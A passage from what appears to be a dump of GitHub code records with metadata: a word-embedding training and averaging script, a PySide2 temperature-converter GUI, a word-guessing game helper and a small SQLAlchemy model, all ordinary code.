glob import glob\nimport shutil\n\n# Math and data structure packages\nimport numpy as np\nfrom scipy import stats\nimport math\n\n# Writing Output\nimport pickle\n\ntext_folder = '/home/rettenls/data/experiments/semeval/texts/'\nexp_folder = '/home/rettenls/data/experiments/semeval/experiments/'\n\ncoordination_file = exp_folder + 'coordination/coordinate.txt'\n\ndate_format = '%Y-%m-%d_%H:%M:%S'\n\n#-------------------------------------------------------------------------------------------------------------------\n# Loading own Modules\n#-------------------------------------------------------------------------------------------------------------------\n\nimport sys\nsys.path.append(\"/home/rettenls/code/\")\n\nfrom lib.model \t\t\timport Model\nfrom lib.trafo \t\t\timport Transformation\nfrom lib.eval \t\t\timport print_nn_word, get_nn_list, get_cosine_similarity, get_pip_norm\nfrom lib.score \t\t\timport evaluate_analogy\nfrom lib.operations \timport align, avg\nfrom lib.util\t\t\timport get_filename\n\n#-------------------------------------------------------------------------------------------------------------------\n# Checking the Coordination File\n#-------------------------------------------------------------------------------------------------------------------\n\ndef run_in_progress(run):\n\n\tin_progress = False\n\n\t# Open file\n\tfile = open(coordination_file, 'r+')\n\tlines = file.read().splitlines()\n\tfile.seek(0)\n\tfor line in lines:\n\t\t# Delete all lines which are older than 24 hours and all invalid lines\n\t\ttry:\n\t\t\tline_datetime = datetime.datetime.strptime(line[-19:], date_format)\n\t\t\tif (line_datetime + datetime.timedelta(hours = 24) > datetime.datetime.now()):\n\t\t\t\tfile.write(line + '\\n')\n\n\t\t\t\t# If line is not older than 24 hours -> compare to run\n\t\t\t\tif (line[:len(run)] == run):\n\t\t\t\t\tin_progress = True\n\t\texcept:\n\t\t\tcontinue\n\n\tif not (in_progress):\n\t\tfile.write(run + '_DATETIME=' + datetime.datetime.now().strftime(date_format) + '\\n')\n\t\tfile.close()\n\t\treturn False\n\telse:\n\t\tfile.close()\n\t\treturn True\n\n#-------------------------------------------------------------------------------------------------------------------\n# Experiments\n#-------------------------------------------------------------------------------------------------------------------\n\nlanguages = ['english', 'german', 'latin', 'swedish']\nmodels = ['word2vec', 'fasttext', 'glove']\nmodel_types = {'word2vec': ['skipgram'], 'fasttext': ['skipgram'], 'glove': [None]}\ncorpora = ['corpus1', 'corpus2']\ndata_types = ['bootstrap', 'shuffle']#, 'fixed']\n\nfor language in languages:\n\tfor corpus in corpora:\n\t\tfor model in models:\n\t\t\tfor model_type in model_types[model]:\n\t\t\t\tfor data_type in data_types:\n\n\t\t\t\t\t# Determine folder name\n\t\t\t\t\tif model_type is None:\n\t\t\t\t\t\tfolder = exp_folder + language + '/' + corpus + '/' + model + '/' + data_type \n\t\t\t\t\telse:\n\t\t\t\t\t\tfolder = exp_folder + language + '/' + corpus + '/' + model + '/' + model_type + '/' + data_type\n\n\t\t\t\t\t# Create folder if it doesn't exist\n\t\t\t\t\tif not os.path.isdir(folder):\n\t\t\t\t\t\tos.makedirs(folder)\n\n\t\t\t\t\t#---------------------------------------------------------------------------------------------------\n\t\t\t\t\t# NORMAL RUNS\n\t\t\t\t\t#---------------------------------------------------------------------------------------------------\n\t\t\t\t\t\n\t\t\t\t\tmax_run_num = 32\n\n\t\t\t\t\tfor run_number in range(max_run_num):\n\t\t\t\n\t\t\t\t\t\trun = folder + '/run_{:04d}'.format(run_number)\n\t\t\t\t\t\t# Work to be done?\n\t\t\t\t\t\tif (not os.path.exists(run)) or (len(os.listdir(run)) < 3):\n\t\t\t\t\t\t\t# Already in progress\n\t\t\t\t\t\t\tprint('IN:', run)\n\t\t\t\t\t\t\tif not run_in_progress(run + \"_RUN\"):\n\n\t\t\t\t\t\t\t\t#try:\n\n\t\t\t\t\t\t\t\t# Model needs to be trained\n\t\t\t\t\t\t\t\tif (not os.path.exists(run)) or (len(os.listdir(run)) < 3):\n\t\t\t\t\t\t\t\t\t# Train & Save\n\t\t\t\t\t\t\t\t\tif data_type == 'fixed':\n\t\t\t\t\t\t\t\t\t\ttext_file = text_folder + language + '/' + corpus + '/fixed/original.txt'\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\ttext_file = text_folder + language + '/' + corpus + '/' + data_type + \\\n\t\t\t\t\t\t\t\t\t\t\t'/run_{:04d}.txt'.format(run_number)\n\n\t\t\t\t\t\t\t\t\tm = Model(model)\n\t\t\t\t\t\t\t\t\tm.train(text_file)\n\t\t\t\t\t\t\t\t\tm.save(run)\n\t\n\t\t\t\t\t\t\t\t#except:\n\t\t\t\t\t\t\t\t#\tcontinue\n\n\t\t\t\t\t\n\t\t\t\t\t#---------------------------------------------------------------------------------------------------\n\t\t\t\t\t# MERGE RUNS\n\t\t\t\t\t#---------------------------------------------------------------------------------------------------\n\t\t\t\t\tif (len(os.listdir(folder)) >= max_run_num):\n\t\t\t\t\t\n\t\t\t\t\t\t# If run in progress -> Skip\n\t\t\t\t\t\tif not run_in_progress(folder + '_MERGE'):\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t# Loop over averaging sizes: 2, 4, 8, etc.\n\t\t\t\t\t\t\tmax_merge_num = int(math.log(max_run_num,2))\n\t\t\t\t\t\t\tmerge_nums = np.arange(1,max_merge_num + 1)\n\t\t\t\t\t\t\tmax_avg_num = 2 ** merge_nums[-1]\n\n\t\t\t\t\t\t\tfor merge_num in merge_nums:\n\n\t\t\t\t\t\t\t\tavg_size = 2 ** merge_num\n\t\t\t\t\t\t\t\tsample_size = max_avg_num // avg_size \n\n\t\t\t\t\t\t\t\t# Iterate over average samples\n\t\t\t\t\t\t\t\tfor sample_num in range(sample_size):\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\trun = folder + '/merge_{:04d}_run_{:04d}'.format(avg_size,sample_num)\n\n\t\t\t\t\t\t\t\t\t# Check if folder exists\n\t\t\t\t\t\t\t\t\tif (not os.path.exists(run)) or (len(os.listdir(run)) < 3): \n\t\t\t\t\t\t\t\t\t\tm1 = Model(model)\n\t\t\t\t\t\t\t\t\t\tm2 = Model(model)\n\n\t\t\t\t\t\t\t\t\t\tbase_avg_size = avg_size // 2\n\t\t\t\t\t\t\t\t\t\tbase_sample_num = sample_num * 2\n\n\t\t\t\t\t\t\t\t\t\tif (base_avg_size == 1):\n\t\t\t\t\t\t\t\t\t\t\tbase_run1 = folder + '/run_{:04d}'.format(base_sample_num)\n\t\t\t\t\t\t\t\t\t\t\tbase_run2 = folder + '/run_{:04d}'.format(base_sample_num + 1)\n\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\tbase_run1 = folder + '/merge_{:04d}_run_{:04d}'.format(base_avg_size,base_sample_num)\n\t\t\t\t\t\t\t\t\t\t\tbase_run2 = folder + '/merge_{:04d}_run_{:04d}'.format(base_avg_size,base_sample_num + 1)\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\t\t\t\tm1.load(base_run1)\n\t\t\t\t\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\t\t\t\t\tshutil.rmtree(base_run1)\n\t\t\t\t\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\t\t\t\tm2.load(base_run2)\n\t\t\t\t\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\t\t\t\t\tshutil.rmtree(base_run2)\n\t\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t\t\tm1, m2, joint = align(m1, m2)\n\t\t\t\t\t\t\t\t\t\tt = Transformation('orthogonal', train_at_init = True, model1 = m2, model2 = m1, joint = joint)\n\t\t\t\t\t\t\t\t\t\tprint('Merge Level: {:2d}, Model Indices: ({:3d},{:3d}), Cosine Similarity: {:.4f}'.format(merge_num, \n\t\t\t\t\t\t\t\t\t\t\tbase_sample_num, base_sample_num + 1, np.mean(get_cosine_similarity(m1, t.apply_to(m2), joint))))\n\n\t\t\t\t\t\t\t\t\t\t# Average\n\t\t\t\t\t\t\t\t\t\tm = avg(m1, t.apply_to(m2), joint_indices = joint, normalize = False)\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t# Save\n\t\t\t\t\t\t\t\t\t\tm.save(run)\n\n\n\t\t\t\t\t\"\"\"\n\t\t\t\t\t#---------------------------------------------------------------------------------------------------\n\t\t\t\t\t# LONG RUNS\n\t\t\t\t\t#---------------------------------------------------------------------------------------------------\n\t\t\t\t\tif (data_type == 'shuffle'):\n\t\t\t\t\t\tif (model != 'glove'):\n\t\t\t\t\t\t\tfor run_number in range(4):\n\t\t\t\t\t\t\t\tfor ep in [5,10,20,40]:\n\t\t\t\t\t\t\t\t\tfor ns in [5,10,20]:\n\t\t\t\t\t\t\t\t\t\tif ep == 5 and ns == 5:\n\t\t\t\t\t\t\t\t\t\t\tcontinue\n\n\t\t\t\t\t\t\t\t\t\trun = folder + '/ep_{:04d}_ns_{:04d}_run_{:04d}'.format(ep, ns, run_number)\n\n\t\t\t\t\t\t\t\t\t\t# Work to be done?\n\t\t\t\t\t\t\t\t\t\tif (not os.path.exists(run)) or (len(os.listdir(run)) < 5):\n\t\t\t\t\t\t\t\t\t\t\t# Already in progress?\n\t\t\t\t\t\t\t\t\t\t\tif not run_in_progress(run):\n\n\t\t\t\t\t\t\t\t\t\t\t\ttry:\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t# Model needs to be trained\n\t\t\t\t\t\t\t\t\t\t\t\t\tif (not os.path.exists(run)) or (len(os.listdir(run)) < 3):\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ttext_file = text_folder + language + '/' + corpus + '/' + data_type + \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'/run_{:04d}.txt'.format(run_number)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tm = Model(model)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tm.train(text_file, epochs = ep, neg_samp_num = ns)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tm.save(run)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t# Model already trained\n\t\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t# Load\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tm = Model(model)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tm.load(run)\n\n\t\t\t\t\t\t\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\t\t\t\t\t\t\tcontinue\n\n\t\t\t\t\t\t\t\t\t\tif (run_number == 3): # MERGE\n\n\t\t\t\t\t\t\t\t\t\t\tprint('\\n\\nMERGE\\n\\n')\n\n\t\t\t\t\t\t\t\t\t\t\trun = folder + '/ep_{:04d}_ns_{:04d}_merge'.format(ep, ns)\n\n\t\t\t\t\t\t\t\t\t\t\t# Work to be done?\n\t\t\t\t\t\t\t\t\t\t\tif (not os.path.exists(run)) or (len(os.listdir(run)) < 5):\n\t\t\t\t\t\t\t\t\t\t\t\t# Already in progress?\n\t\t\t\t\t\t\t\t\t\t\t\tif not run_in_progress(run):\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t# Average Models\n\t\t\t\t\t\t\t\t\t\t\t\t\tmodels = list()\n\t\t\t\t\t\t\t\t\t\t\t\t\tfor i in range(4):\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tm = Model(model)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\trun = folder + '/ep_{:04d}_ns_{:04d}_run_{:04d}'.format(ep, ns, i)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tm.load(run)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tmodels.append(m)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\tfor i in range(2):\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tk = i * 2\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tl = i * 2 + 1\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tmodels[k], models[l], joint = align(models[k], models[l])\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tt = Transformation('orthogonal', train_at_init = True, model1 = models[l], model2 = models[k], joint = joint)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tmodels[k] = avg(models[k], t.apply_to(models[l]), joint_indices = joint, normalize = False)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\tk = 0\n\t\t\t\t\t\t\t\t\t\t\t\t\tl = 2\n\t\t\t\t\t\t\t\t\t\t\t\t\tmodels[k], models[l], joint = align(models[k], models[l])\n\t\t\t\t\t\t\t\t\t\t\t\t\tt = Transformation('orthogonal', train_at_init = True, model1 = models[l], model2 = models[k], joint = joint)\n\t\t\t\t\t\t\t\t\t\t\t\t\tmodels[k] = avg(models[k], t.apply_to(models[l]), joint_indices = joint, normalize = False)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t# Save\n\t\t\t\t\t\t\t\t\t\t\t\t\trun = folder + '/ep_{:04d}_ns_{:04d}_merge'.format(ep, ns)\n\t\t\t\t\t\t\t\t\t\t\t\t\tmodels[k].save(run)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tfor run_number in range(4):\n\t\t\t\t\t\t\t\tfor ep in [200,400]:\n\t\t\t\t\t\t\t\t\trun = folder + '/ep_{:04d}_run_{:04d}'.format(ep, run_number)\n\n\t\t\t\t\t\t\t\t\t# Work to be done?\n\t\t\t\t\t\t\t\t\tif (not os.path.exists(run)) or (len(os.listdir(run)) < 5):\n\t\t\t\t\t\t\t\t\t\t# Already in progress?\n\t\t\t\t\t\t\t\t\t\tif not run_in_progress(run):\n\n\t\t\t\t\t\t\t\t\t\t\ttry:\n\n\t\t\t\t\t\t\t\t\t\t\t\t# Model needs to be trained\n\t\t\t\t\t\t\t\t\t\t\t\tif (not os.path.exists(run)) or (len(os.listdir(run)) < 3):\n\t\t\t\t\t\t\t\t\t\t\t\t\ttext_file = text_folder + language + '/' + corpus + '/' + data_type + \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t'/run_{:04d}.txt'.format(run_number)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\tm = Model(model)\n\t\t\t\t\t\t\t\t\t\t\t\t\tm.train(text_file, epochs = ep)\n\t\t\t\t\t\t\t\t\t\t\t\t\tm.save(run)\n\n\t\t\t\t\t\t\t\t\t\t\t\t# Model already trained\n\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\t# Load\n\t\t\t\t\t\t\t\t\t\t\t\t\tm = Model(model)\n\t\t\t\t\t\t\t\t\t\t\t\t\tm.load(run)\n\n\t\t\t\t\t\t\t\t\t\t\t\t# Evaluate\n\t\t\t\t\t\t\t\t\t\t\t\tm = m.reduce(200000)\n\t\t\t\t\t\t\t\t\t\t\t\tm.normalize()\n\t\t\t\t\t\t\t\t\t\t\t\tevaluate_analogy(m, eval_file, eval_folder_name = run)\n\n\t\t\t\t\t\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\t\t\t\t\t\tcontinue\n\n\t\t\t\t\t\t\t\t\tif (run_number == 3): # MERGE\n\n\t\t\t\t\t\t\t\t\t\tprint('\\n\\nMERGE\\n\\n')\n\n\t\t\t\t\t\t\t\t\t\trun = folder + '/ep_{:04d}_merge'.format(ep)\n\n\t\t\t\t\t\t\t\t\t\t# Work to be done?\n\t\t\t\t\t\t\t\t\t\tif (not os.path.exists(run)) or (len(os.listdir(run)) < 5):\n\t\t\t\t\t\t\t\t\t\t\t# Already in progress?\n\t\t\t\t\t\t\t\t\t\t\tif not run_in_progress(run):\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t# Average Models\n\t\t\t\t\t\t\t\t\t\t\t\tmodels = list()\n\t\t\t\t\t\t\t\t\t\t\t\tfor i in range(4):\n\t\t\t\t\t\t\t\t\t\t\t\t\tm = Model(model)\n\t\t\t\t\t\t\t\t\t\t\t\t\trun = folder + '/ep_{:04d}_run_{:04d}'.format(ep, i)\n\t\t\t\t\t\t\t\t\t\t\t\t\tm.load(run)\n\t\t\t\t\t\t\t\t\t\t\t\t\tmodels.append(m)\n\n\t\t\t\t\t\t\t\t\t\t\t\tfor i in range(2):\n\t\t\t\t\t\t\t\t\t\t\t\t\tk = i * 2\n\t\t\t\t\t\t\t\t\t\t\t\t\tl = i * 2 + 1\n\t\t\t\t\t\t\t\t\t\t\t\t\tmodels[k], models[l], joint = align(models[k], models[l])\n\t\t\t\t\t\t\t\t\t\t\t\t\tt = Transformation('orthogonal', train_at_init = True, model1 = models[l], model2 = models[k], joint = joint)\n\t\t\t\t\t\t\t\t\t\t\t\t\tmodels[k] = avg(models[k], t.apply_to(models[l]), joint_indices = joint, normalize = False)\n\n\t\t\t\t\t\t\t\t\t\t\t\tk = 0\n\t\t\t\t\t\t\t\t\t\t\t\tl = 2\n\t\t\t\t\t\t\t\t\t\t\t\tmodels[k], models[l], joint = align(models[k], models[l])\n\t\t\t\t\t\t\t\t\t\t\t\tt = Transformation('orthogonal', train_at_init = True, model1 = models[l], model2 = models[k], joint = joint)\n\t\t\t\t\t\t\t\t\t\t\t\tmodels[k] = avg(models[k], t.apply_to(models[l]), joint_indices = joint, normalize = False)\n\n\t\t\t\t\t\t\t\t\t\t\t\t# Save\n\t\t\t\t\t\t\t\t\t\t\t\trun = folder + '/ep_{:04d}_merge'.format(ep)\n\t\t\t\t\t\t\t\t\t\t\t\tmodels[k].save(run)\n\n\t\t\t\t\t\t\t\t\t\t\t\t# Evaluate\n\t\t\t\t\t\t\t\t\t\t\t\tmodels[k] = models[k].reduce(200000)\n\t\t\t\t\t\t\t\t\t\t\t\tmodels[k].normalize()\n\t\t\t\t\t\t\t\t\t\t\t\tevaluate_analogy(models[k], eval_file, eval_folder_name = run)\n\t\t\t\t\t\"\"\"", "repo_name": "lucasrettenmeier/word-embedding-stability", "sub_path": "thesis/10 - SemEval/Competition Code/embeddings.py", "file_name": "embeddings.py", "file_ext": "py", "file_size_in_byte": 12030, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.path.append", "line_number": 33, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 57, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 58, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 68, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path", "line_number": 98, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path", "line_number": 119, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 119, "usage_type": "call"}, {"api_name": "lib.model.Model", "line_number": 127, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 138, "usage_type": "call"}, {"api_name": "math.log", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 145, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 159, "usage_type": "call"}, {"api_name": "os.path", "line_number": 159, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 159, "usage_type": "call"}, {"api_name": "lib.model.Model", "line_number": 160, "usage_type": "call"}, {"api_name": "lib.model.Model", "line_number": 161, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 176, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 182, "usage_type": "call"}, {"api_name": "lib.operations.align", "line_number": 186, "usage_type": "call"}, {"api_name": "lib.trafo.Transformation", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 189, "usage_type": "call"}, {"api_name": "lib.eval.get_cosine_similarity", "line_number": 189, "usage_type": "call"}, {"api_name": "lib.operations.avg", "line_number": 192, "usage_type": "call"}]} {"seq_id": "71111451133", "text": "import sys\nfrom PySide2.QtWidgets import (QLabel, QLCDNumber, QApplication,\n QVBoxLayout, QWidget, QDial, QHBoxLayout)\n\nclass TempConverter(QWidget):\n\n def __init__(self, parent=None):\n super(TempConverter, self).__init__(parent)\n # Create widgets\n self.labelC = QLabel(\"Celsius\")\n self.labelF = QLabel(\"Fahrenheit\")\n\n self.dialC = QDial()\n self.dialF = QDial()\n\n self.dialC.setRange(0,100)\n self.dialF.setRange(32, 212)\n\n self.lcdC = QLCDNumber()\n self.lcdF = QLCDNumber()\n\n\n layoutC = QVBoxLayout()\n layoutC.addWidget(self.labelC)\n layoutC.addWidget(self.dialC)\n layoutC.addWidget(self.lcdC)\n\n layoutF = QVBoxLayout()\n layoutF.addWidget(self.labelF)\n layoutF.addWidget(self.dialF)\n layoutF.addWidget(self.lcdF)\n\n layoutGeneral = QHBoxLayout()\n layoutGeneral.addLayout(layoutC)\n layoutGeneral.addLayout(layoutF)\n\n self.setLayout(layoutGeneral)\n\n self.dialC.valueChanged.connect(self.lcdC.display)\n self.dialC.valueChanged.connect(self.dialCChanged)\n self.dialF.valueChanged.connect(self.lcdF.display)\n self.dialF.valueChanged.connect(self.dialFChanged)\n\n def dialCChanged(self):\n self.dialF.valueChanged.disconnect(self.dialFChanged)\n self.dialF.setValue((self.dialC.value()*1.8)+32)\n self.dialF.valueChanged.connect(self.dialFChanged)\n\n def dialFChanged(self):\n self.dialC.valueChanged.disconnect(self.dialCChanged)\n self.dialC.setValue((self.dialF.value()-32)*0.555)\n self.dialC.valueChanged.connect(self.dialCChanged)\n\nif __name__ == '__main__':\n # Create the Qt Application\n app = QApplication(sys.argv)\n # Create and show the form\n tmpConv = TempConverter()\n tmpConv.show()\n # Run the main Qt loop\n sys.exit(app.exec_())", "repo_name": "GeraldBaratoux/AelionPython2019", "sub_path": "ExemplesQt/CelsiusFahrenheit.py", "file_name": "CelsiusFahrenheit.py", "file_ext": "py", "file_size_in_byte": 1883, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "PySide2.QtWidgets.QWidget", "line_number": 5, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QLabel", "line_number": 10, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QLabel", "line_number": 11, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QDial", "line_number": 13, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QDial", "line_number": 14, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QLCDNumber", "line_number": 19, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QLCDNumber", "line_number": 20, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QVBoxLayout", "line_number": 23, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QVBoxLayout", "line_number": 28, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QHBoxLayout", "line_number": 33, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QApplication", "line_number": 56, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 56, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 61, "usage_type": "call"}]} {"seq_id": "39428023308", "text": "#Edmund Goodman - Creative Commons Attribution-NonCommercial-ShareAlike 2.5\nfrom os import system; system('clear')\nfrom collections import Counter\nfrom random import choice\nfrom math import ceil\nimport re\n\n#Read in all the allowed words\nwith open(\"wordList.txt\") as wordFile:\n possibleWords = [word.strip().lower() for word in wordFile]\n\n#Generate the board\nopponent = input(\"Opponent name: \")\nwordLen = int(input(\"How long is the word: \"))\nword = [\"?\" for _ in range(wordLen)]\n\n#Remove all possibleWords which are longer than the word\npossibleWords = [i for i in possibleWords if len(i)<=wordLen]\n\n#You can only have 5 blanks, so the word must be longer than (no. cards - 5)\npossibleWords = [i for i in possibleWords if len(i)>=wordLen-5]\n\ntotalPossibleWords = len(possibleWords)\ncorrectLetters, incorrectLetters = [], []\nguessedLetters, suggestedLetter = [], \"e\"\n\ncount = 0\n\n#While it is not totally guessed\nwhile \"?\" in word and len(possibleWords) != 1:\n #Print the HUD\n system('clear')\n print(\"Opponent name: \", opponent)\n percentageLeft = str(round((100/totalPossibleWords)*len(possibleWords), 2))+\"%\"\n print(\"{} | ? | ? | {}\".format(\" \".join([str(x)[-1] for x in range(1,wordLen+1)]), percentageLeft))\n print(\"{} | {} | {}\".format(\" \".join(word), suggestedLetter, len(possibleWords)))\n if len(possibleWords) < 25:\n print(\" \".join(possibleWords))\n else:\n print(\" \".join(list(map(lambda _: choice(possibleWords), range(10)))))\n\n #Read in the guess, where it is/if it's right and validate it\n letter = str(input(\"Enter a letter to guess: \"))\n while letter not in list(\"etaoinsrhdlucmfywgpbvkxqjz_\"):\n letter = str(input(\"Invalid letter; please try again: \"))\n guessedLetters.append(letter)\n\n #Enter and validate the position of the guessed letter\n position = input(\"Enter its position [1-n]: \")\n while True:\n try:\n position = int(position)\n except:\n position = None\n break\n if not 1 <= position <= wordLen:\n position = None\n if word[position-1] == \"?\":\n break\n print(position)\n position = input(\"You've already guessed that position; please try again: \")\n\n #Logic for possibleWords and suggestedLetter\n if position != None: #If it's right\n #If the letter isn't a blank\n if letter != \"_\":\n #Update the word HUD, and add the letter to correctLetters\n word[position-1] = letter\n correctLetters.append(letter)\n\n #Regex pattern between 1st and last known letter, with wildcards as necessary, to match words\n startCrib = [i for i, x in enumerate(word) if x != \"?\"][0]\n endCrib = [i for i, x in enumerate(word) if x != \"?\"][-1]+1\n knownCrib = [x if x!=\"?\" else \"[a-z_]\" for x in word[startCrib:endCrib]]\n pattern = re.compile(\"^[a-z_]{0,\"+str(startCrib)+\"}\"+\"\".join(knownCrib)+\"[a-z_]{0,\"+str((len(word)-endCrib))+\"}$\")\n possibleWords = [x for x in possibleWords if bool(pattern.match(x))]\n\n #If the letter is a blank\n else:\n #Remove all words longer than the longest possible given the blank\n maxPosLength = max([position-1, wordLen-position])\n possibleWords = [x for x in possibleWords if len(x)<=maxPosLength]\n\n else: #If it's wrong\n incorrectLetters.append(letter)\n\n #Filter the words, so they don't contain the incorrect letter, but it must still be able to contain already correct letters\n newPossibleWords = []\n for iWord in possibleWords:\n valid = True\n for iLetter in incorrectLetters:\n if iWord.count(iLetter) > correctLetters.count(iLetter):\n valid = False\n if valid:\n newPossibleWords.append(iWord)\n\n possibleWords = newPossibleWords[:]\n\n #Remove correctLetters from the filteredPossibleWords to stop reguessing letters\n filteredPossibleWords = []\n for nWord in possibleWords:\n for nLetter in correctLetters:\n #nWord = nWord.replace(nLetter, \"\", 1)\n nWord = nWord.replace(nLetter, \"\", correctLetters.count(nLetter))\n filteredPossibleWords.append(nWord)\n\n #Suggest the best next letter to guess\n d = dict(Counter(\"\".join(filteredPossibleWords)))\n print(d, max(d, key=lambda i: d[i]))\n if len(filteredPossibleWords) <= 1:\n break\n #The optimum value is the value closest to half of the percentage left (binary search)\n optimumValue = round(len(possibleWords)/2)\n suggestedLetter = min(d, key=lambda i: abs(d[i]-optimumValue))\n #suggestedLetter2 = max(d, key=lambda i: d[i])\n\n #Print all the letters that have been guessed\n print(guessedLetters)\n count += 1\n\nsystem('clear')\nif len(possibleWords) == 1:\n print(\"Done in {} moves! The word was \\\"{}\\\"\".format(count, possibleWords[0]))\nelse:\n print(\"Invalid word! Check for a spelling mistake or an undisclosed letter\")\n", "repo_name": "EdmundGoodman/probe-winner", "sub_path": "probeWinner.py", "file_name": "probeWinner.py", "file_ext": "py", "file_size_in_byte": 5014, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.system", "line_number": 2, "usage_type": "call"}, {"api_name": "os.system", "line_number": 32, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 40, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 75, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 108, "usage_type": "call"}, {"api_name": "os.system", "line_number": 121, "usage_type": "call"}]} {"seq_id": "31560499739", "text": "from sqlalchemy import Column, Integer, String\nfrom sqlalchemy.ext.declarative import declarative_base\n\nBase = declarative_base()\n\nclass Model1(Base):\n\n #Table name\n __tablename__ = 'test_table'\n\n #Columns\n id = Column(Integer, primary_key=True)\n name = Column(String)\n str_column = Column(String)\n\n #Representation\n def __repr__(self):\n return \"\" % (\n self.name, self.id)\n", "repo_name": "mikaelahonen/notebook", "sub_path": "Python/SQLAlchemy/data_model.py", "file_name": "data_model.py", "file_ext": "py", "file_size_in_byte": 456, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 4, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 12, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 12, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 13, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 13, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 14, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 14, "usage_type": "argument"}]} {"seq_id": "72248391932", "text": "import streamlit as 